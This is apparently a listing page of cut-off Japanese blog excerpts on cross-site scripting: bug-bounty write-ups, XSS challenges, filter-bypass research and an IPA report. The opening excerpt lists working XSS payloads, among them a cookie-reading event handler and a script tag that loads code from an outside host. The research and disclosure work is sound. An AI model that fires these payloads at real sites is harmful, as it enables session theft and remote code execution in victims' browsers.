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XSSパターン(暫定版) XSSのパターンを幾つか集めてみました。出典は下の方にあります。 1.'';!--"<XSS>=&{()}``\" テスト文字列。まずはこの文字列を突っ込む。 2.<script>alert(1);</script> 単純なパターン 3."><script>alert(1);</script> 単純なパターン2 4.<script src=http://nootropic.me/xss.js></script> ダブルクォートやシングルクォートが使えない際 5.<ScrIpt>alert(1);</SCript> 単純にscriptタグが禁止されている際に使用出来る。他のタグでも使うことが出来る。 6.<a onmouseover="alert(document.cookie)">XSS</a> aタグを使用したXSS。 7.<a onmouseover=aler
本記事は脆弱性"&'<<>\ Advent Calendar 2015の15日目の記事です。 11/18にAmazonがリリースしたAmazon Musicというサービスに関連するXSSを2つ発見・報告したのでそのお話です。 1. Amazon MusicにあったXSS このページから "><_><script>alert(document.domain)</script>と検索すると alertが出ました。 画面右側のペイン内にて、aタグのhref attribute内に検索クエリを出力している箇所にあるバグに起因しています。この文字列は本来何らかの処理を通じてエスケープされていたのですが、適当に<hoge>のような文字列を一つ挟むとaタグのhref attributeから漏れて出力されていました。 11/19に発見・報告し、11/26に修正されました。 何故かAmazonのセキュリティ
12月と言えばXSS-Masの季節ということで、最近は、XSS-Mas前から1月の終わりまで開催されていた、賞金付きXSSチャレンジ「Cure53 XSS-Mas Challenge 2014」に挑戦していました。 XSSチャレンジというのは、出題者がわざとわかりにくい形でXSSに脆弱にしたページ(例:特定の記号や文字が使えない、文字数制限がある等)で、指定した条件(alert関数 で「1」の文字をだすとか)をクリアして、スクリプトが実行できることを証明するという、XSSを嗜む人たちの間で楽しまれる一種のパズルゲームです。 実際にXSSで攻撃可能なことを証明しないといけない場面でも、特定の制約がかかることは多く、こういったチャレンジは単なるパズル遊びというだけでなく、攻撃の発想を養ううえでとても有益なものです。
また最近IEのXSSフィルターのバイパスに挑戦してみました。 いくつか面白い隙をみつけたので紹介します。 今回は文字列リテラルでのXSSに対する検知をバイパスします。 1. onerrorとthrowを使ってXSSする 以前Gareth Heyes氏が紹介していた、onerrorとthrowの手法を使うと、XSSフィルターをバイパスできることに気が付きました。 XSS technique without parentheses http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/ Win7 IE9(ドキュメントモードがIE9)で有効です。IE10以降では改善され、"[JavaScriptの区切り]onerror= がフィルタ対象になっているようです。 http://vulnerabledoma.i
Welcome, recruit! Cross-site scripting (XSS) bugs are one of the most common and dangerous types of vulnerabilities in Web applications. These nasty buggers can allow your enemies to steal or modify user data in your apps and you must learn to dispatch them, pronto! At Google, we know very well how important these bugs are. In fact, Google is so serious about finding and fixing XSS issues that we
Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24
Googleの脆弱性報酬制度の報酬がアップされましたね! Google、脆弱性情報に支払う報奨金を大幅アップ - ITmedia エンタープライズ http://www.itmedia.co.jp/enterprise/articles/1306/10/news027.html Googleアカウントページに存在するクロスサイトスクリプティング(XSS)の脆弱性情報については3133.7ドルから7500ドル accounts.google.comのXSSは$7,500 だそうです。みつけたいですね! みつけるのはかなり厳しいと思いますが、かつて2つみつけたことがあります。 今日はそのうち1つを紹介したいと思います。 oeパラメータを使ったXSS 2012年12月27日に報告し修正された問題です。 Googleは、一部のサービスで「oe」というクエリパラメータを付加することで、ページの表示に
DOM Based XSSに関しては、IPA「安全なウェブサイトの作り方」でも、拙著でもごく簡単にしか触れておらず、まとまった解説が要望されていましたが、本日(2013年1月29日)にIPAから「IPA テクニカルウォッチ『DOM Based XSS』に関するレポート」が公開されました。 同冊子の目次は下記の通りです。 はじめに 1. DOM Based XSSの概要 2. IPAに報告されたDOM Based XSSの脆弱性 3. DOM Based XSSの事例 4. DOM Based XSSの対策方法 コラム おわりに IPAのレポートと言うことで、DOM based XSSの届出の状況も説明されています。以下にグラフを引用します。 一見して「急増」していることと、昨年の10月から12月の3ヶ月で92件も届出があったということで、対策が急務となっている状況が見て取れます。これは、こ
alert(1)を実行させてください。ただし、リンク先のサーバへの細工は一切出来ないものとします(javascriptスキームへのリダイレクトとかは禁止ということで)。 Execute alert(1), but you can not customize server linked from IMG element (for example, redirection to "javascript:" scheme is not allowed). <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>XSS challange ( execute alert())</title> <script type="text/javascript"> var w = nul
_U+00A5を用いたXSSの可能性 前回の日記では、昨年のBlack Hat Japanにおける長谷川陽介氏の講演に「趣味と実益の文字コード攻撃(講演資料)」に刺激される形で、Unicodeの円記号U+00A5によるSQLインジェクションの可能性について指摘した。 はせがわ氏の元資料ではパストラバーサルの可能性を指摘しておられるので、残る脆弱性パターンとしてクロスサイト・スクリプティング(XSS)の可能性があるかどうかがずっと気になっていた。独自の調査により、XSS攻撃の起点となる「<」や「"」、「'」などについて「多対一の変換」がされる文字を探してきたが、現実的なWebアプリケーションで出現しそうな組み合わせは見つけられていない。 一方、U+00A5が処理系によっては0x5C「\」に変換されることに起因してXSSが発生する可能性はある。JavaScriptがからむ場合がそれだ。しかし、
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